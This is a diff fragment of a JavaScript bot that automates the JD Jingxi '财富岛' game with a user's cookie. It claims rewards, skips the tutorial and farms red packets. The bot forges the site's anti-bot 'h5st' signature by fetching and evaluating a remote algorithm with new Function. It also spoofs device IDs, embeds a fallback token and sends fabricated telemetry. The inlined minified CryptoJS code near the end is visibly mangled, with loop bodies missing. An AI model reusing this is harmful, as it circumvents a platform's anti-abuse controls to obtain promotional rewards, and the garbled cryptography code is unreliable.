'获得'+res.ddwAwardHb/100+"红包" || ''}${res.ddwVirHb && ' 当前有'+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log($.toObj(res,res)) + } + } + } + console.log("合成珍珠") + let strLT = ($.ComposeGameState.oPT || [])[$.ComposeGameState.ddwCurTime % ($.ComposeGameState.oPT || []).length] + let res = await taskGet(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', `&strBT=${$.ComposeGameState.strDT}&strLT=${strLT}`) + if(res && res.iRet == 0){ + console.log(`合成成功:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包 " || ''}当前有${res.dwCurProgress}个珍珠${res.ddwVirHb && ' '+res.ddwVirHb/100+"红包" || ''}`) + }else{ + console.log(JSON.stringify(res)) + } + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + } + } + for (let i of $.ComposeGameState.stagelist || []) { + if (i.dwIsAward == 0 && $.ComposeGameState.dwCurProgress >= i.dwCurStageEndCnt) { + await $.wait(2000) + let res = await taskGet(`user/ComposeGameAward`, '__t,dwCurStageEndCnt,strZone', `&dwCurStageEndCnt=${i.dwCurStageEndCnt}`) + await printRes(res,'珍珠领奖') + } + } + }catch (e) { + $.logErr(e); + } +} +// 牛牛任务 +async function ActTask(){ + try{ + let res = '' + await $.wait(2000) + $.Biztask = await taskGet(`story/GetActTask`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Biztask && $.Biztask.Data && $.Biztask.Data.dwStatus != 4){ + console.log(`\n牛牛任务`) + if($.Biztask.Data.dwStatus == 3 && $.Biztask.Data.dwTotalTaskNum && $.Biztask.Data.dwCompleteTaskNum && $.Biztask.Data.dwTotalTaskNum == $.Biztask.Data.dwCompleteTaskNum){ + res = await taskGet(`story/ActTaskAward`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) + if(res.iRet == 0){ + console.log(`领取全部任务奖励:`, res.Data.ddwBigReward || '') + }else{ + console.log(`领取全部任务奖励失败:`, JSON.stringify(res)) + } + } + for(let i in $.Biztask.Data.TaskList){ + let item = $.Biztask.Data.TaskList[i] + if(item.dwAwardStatus != 2 && item.dwCompleteNum === item.dwTargetNum) continue + console.log(`任务 ${item.strTaskName} ${item.dwCompleteNum}/${item.dwTargetNum}`) + if (item.dwAwardStatus == 2 && item.dwCompleteNum === item.dwTargetNum) { + res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ + console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && res.data.prizeInfo.ddwCoin+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) + }else{ + console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) + } + await $.wait(1000) + } + if(item.dwAwardStatus == 2 && item.dwCompleteNum < item.dwTargetNum && [1,2].includes(item.dwOrderId)){ + await $.wait(1000) + if(item.strTaskName.indexOf('热气球接待') > -1){ + let b = (item.dwTargetNum-item.dwCompleteNum) + // 热气球接客 + await service(b) + await $.wait((Number(item.dwLookTime) * 1000) || 1000) + }else if(item.dwPointType == 301){ + await $.wait((Number(item.dwLookTime) * 1000) || 1000) + res = await taskGet('DoTask1', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}&configExtra=`) + } + await $.wait(1000) + res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ + console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && res.data.prizeInfo.ddwCoin+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) + }else{ + console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) + } + await $.wait(1000) + } + } + } + + }catch (e) { + $.logErr(e); + } +} +// 日常任务、成就任务 +async function UserTask(){ + try{ + await $.wait(2000) + let res = '' + $.task = await taskGet(`GetUserTaskStatusList`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', '&ptag=&taskId=0') + if($.task && $.task.data && $.task.data.userTaskStatusList){ + console.log(`\n日常任务、成就任务`) + for(let i in $.task.data.userTaskStatusList){ + let item = $.task.data.userTaskStatusList[i] + if(item.awardStatus != 2 && item.completedTimes === item.targetTimes) continue + console.log(`任务 ${item.taskName} (${item.completedTimes}/${item.targetTimes})`) + if (item.awardStatus == 2 && item.completedTimes === item.targetTimes) { + res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ + console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+res.data.prizeInfo.ddwCoin+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) + }else{ + console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) + } + await $.wait(1000) + } + if(item.dateType == 2){ + if(item.completedTimes < item.targetTimes && ![7,8,9,10].includes(item.orderId)){ + if(item.taskName.indexOf('捡贝壳') >-1 || item.taskName.indexOf('赚京币任务') >-1 || item.taskName.indexOf('升级') >-1) continue + let b = (item.targetTimes-item.completedTimes) + for(i=1;b--;i++){ + console.log(`第${i}次`) + res = await taskGet('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}&configExtra=`) + await $.wait(5000) + } + res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) + if(res.ret == 0){ + if(res.data.prizeInfo){ + res.data.prizeInfo = $.toObj(res.data.prizeInfo) + } + if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ + console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+res.data.prizeInfo.ddwCoin+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) + }else{ + console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) + } + }else{ + console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) + } + }else if(item.awardStatus === 2 && [1].includes(item.orderId)){ + } + await $.wait(1000) + }else if(item.dateType == 1){ + // console.log('enensss') + } + // break + } + } + + }catch (e) { + $.logErr(e); + } +} + +function printRes(res, msg=''){ + if(res.iRet == 0 && (res.Data || res.ddwCoin || res.ddwMoney || res.strPrizeName)){ + let result = res + if(res.Data){ + result = res.Data + } + if(result.ddwCoin || result.ddwMoney || result.strPrizeName || result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName){ + console.log(`${msg}获得:${result.ddwCoin && ' '+result.ddwCoin+'金币' || ''}${result.ddwMoney && ' '+result.ddwMoney+'财富' || ''}${result.strPrizeName && ' '+result.strPrizeName+'红包' || ''}${result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName && ' '+result.StagePrizeInfo.strPrizeName || ''}`) + }else if(result.Prize){ + console.log(`${msg}获得: ${result.Prize.strPrizeName && '优惠券 '+result.Prize.strPrizeName || ''}`) + }else if(res && res.sErrMsg){ + console.log(res.sErrMsg) + }else{ + console.log(`${msg}完成`, JSON.stringify(res)) + // console.log(`完成`) + } + }else if(res && res.sErrMsg){ + console.log(`${msg}失败:${res.sErrMsg}`) + }else{ + console.log(`${msg}失败:${JSON.stringify(res)}`) + } +} +function getJxAppToken(){ + function generateStr(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz1234567890", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n + } + let phoneId = generateStr(40); + let timestamp = Date.now().toString(); + let pgUUNum = $.CryptoJS.MD5('' + decodeURIComponent($.UserName || '') + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy').toString($.CryptoJS.enc.MD5); + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': pgUUNum + } +} +async function noviceTask(){ + let additional= `` + let stk= `` + additional= `` + stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + await taskGet(`user/guideuser`, stk, additional) + additional= `&strMark=guider_step&strValue=welcom&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_over_flag&strValue=999&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) + additional= `&strMark=guider_step&strValue=none&dwType=2` + stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` + await taskGet(`user/SetMark`, stk, additional) +} + +function taskGet(type, stk, additional){ + return new Promise(async (resolve) => { + let myRequest = getGetRequest(type, stk, additional) + $.get(myRequest, async (err, resp, _data) => { + let data = '' + try { + let contents = '' + // console.log(_data) + data = $.toObj(_data) + if(data && data.iRet == 0){ + // console.log(_data) + }else{ + // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 + // console.log(_data) + } + contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` + await biz(contents) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +function getGetRequest(type, stk='', additional='') { + let url = ``; + let dwEnv = 7; + let types = { + 'GetUserTaskStatusList':['GetUserTaskStatusList','jxbfd'], + 'Award':['Award','jxbfd'], + 'Award1':['Award','jxbfddch'], + 'Award2':['Award','jxbfdprop'], + 'DoTask':['DoTask','jxbfd'], + 'DoTask1':['DoTask','jxbfddch'], + 'DoTask2':['DoTask','jxbfdprop'], + } + if(type == 'user/ComposeGameState'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd${additional}&_=${Date.now()}&sceneval=2` + }else if(type == 'user/RealTmReport'){ + url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` + }else{ + let stks = '' + if(stk) stks = `&_stk=${stk}` + if(type == 'story/GetTakeAggrPages' || type == 'story/RewardSigns') dwEnv = 6 + if(type == 'story/GetTakeAggrPages') type = 'story/GetTakeAggrPage' + if(type == 'story/RewardSigns') type = 'story/RewardSign' + if(types[type]){ + url = `https://m.jingxi.com/newtasksys/newtasksys_front/${types[type][0]}?strZone=jxbfd&bizCode=${types[type][1]}&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` + }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; + }else{ + url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; + } + url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + + } + } +} + +function biz(contents){ + return new Promise(async (resolve) => { + let myRequest = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + "Connection": "keep-alive", + 'Cookie': $.cookie, + 'Host': 'm.jingxi.com', + "Referer": "https://st.jingxi.com/", + "User-Agent": UA, + } + } + $.get(myRequest, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + }); +} + +function opId(type){ + let jsonMap = { + "user/QueryUserInfo": 1, + "user/GetMgrAllConf": 3, + "story/QueryUserStory": 5, + "user/GetJdToken": 11, + "story/CouponState": 13, + "story/WelfareDraw": 15, + "story/GetWelfarePage": 17, + "story/SendWelfareMoney": 19, + "user/SetMark": 23, + "user/GetMark": 25, + "user/guideuser": 27, + "user/createbuilding": 29, + "user/BuildLvlUp": 31, + "user/CollectCoin": 33, + "user/GetBuildInfo": 35, + "user/SpeedUp": 37, + "story/AddNoticeMsg": 39, + "user/breakgoldenegg": 41, + "user/closewindow": 43, + "user/drawpackprize": 45, + "user/GetMoneyDetail": 47, + "user/EmployTourGuide": 49, + "story/sellgoods": 51, + "story/querystorageroom": 53, + "user/queryuseraccount": 55, + "user/EmployTourGuideInfo": 57, + "consume/TreasureHunt": 59, + "story/QueryAppSignList": 61, + "story/AppRewardSign": 63, + "story/queryshell": 65, + "story/QueryRubbishInfo": 67, + "story/pickshell": 69, + "story/CollectorOper": 71, + "story/MermaidOper": 73, + "story/RubbishOper": 75, + "story/SpecialUserOper": 77, + "story/GetUserTaskStatusList": 79, + "user/ExchangeState": 87, + "user/ExchangePrize": 89, + "user/GetRebateGoods": 91, + "user/BuyGoods": 93, + "user/UserCashOutState": 95, + "user/CashOut": 97, + "user/GetCashRecord": 99, + "user/CashOutQuali": 101, + "user/GetAwardList": 103, + "story/QueryMailBox": 105, + "story/MailBoxOper": 107, + "story/UserMedal": 109, + "story/QueryMedalList": 111, + "story/GetTakeAggrPage": 113, + "story/GetTaskRedDot": 115, + "story/RewardSign": 117, + "story/helpdraw": 119, + "story/helpbystage": 121, + "task/addCartSkuNotEnough": 123, + "story/GetActTask": 125, + "story/ActTaskAward": 127, + "story/DelayBizReq": 131, + "story/AddSuggest": 133, + } + let opId = jsonMap[type] + if (opId!=undefined) return opId + return 5001 +} + +async function requestAlgo() { + $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'User-Agent': UA, + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fp, + "appId": $.appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + const { ret, msg, data: { result } = {} } = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') + if (stk) { + const timestamp = format("yyyyMMddhhmmssSSS", time); + const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') + } +} + +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} + +function getUrlQueryParams(url_string, param) { + let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); + let r = url_string.split('?')[1].substr(0).match(reg); + if (r != null) { + return decodeURIComponent(r[2]); + }; + return ''; +} + + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + let res = [] + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) res = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(res || []); + } + }) + await $.wait(10000) + resolve(res); + }) +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ + function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + + +// 计算时间 +function timeFn(dateBegin) { + var hours = 0 + var minutes = 0 + var seconds = 0 + if(dateBegin != 0){ + //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 + var dateEnd = new Date();//获取当前时间 + var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 + var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 + hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 + //计算相差分钟数 + var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 + minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 + //计算相差秒数 + var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 + seconds = Math.round(leave3 / 1000) + } + hours = hours < 10 ? '0'+ hours : hours + minutes = minutes < 10 ? '0'+ minutes : minutes + seconds = seconds < 10 ? '0'+ seconds : seconds + var timeFn = hours + ":" + minutes + ":" + seconds; + return timeFn; +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var 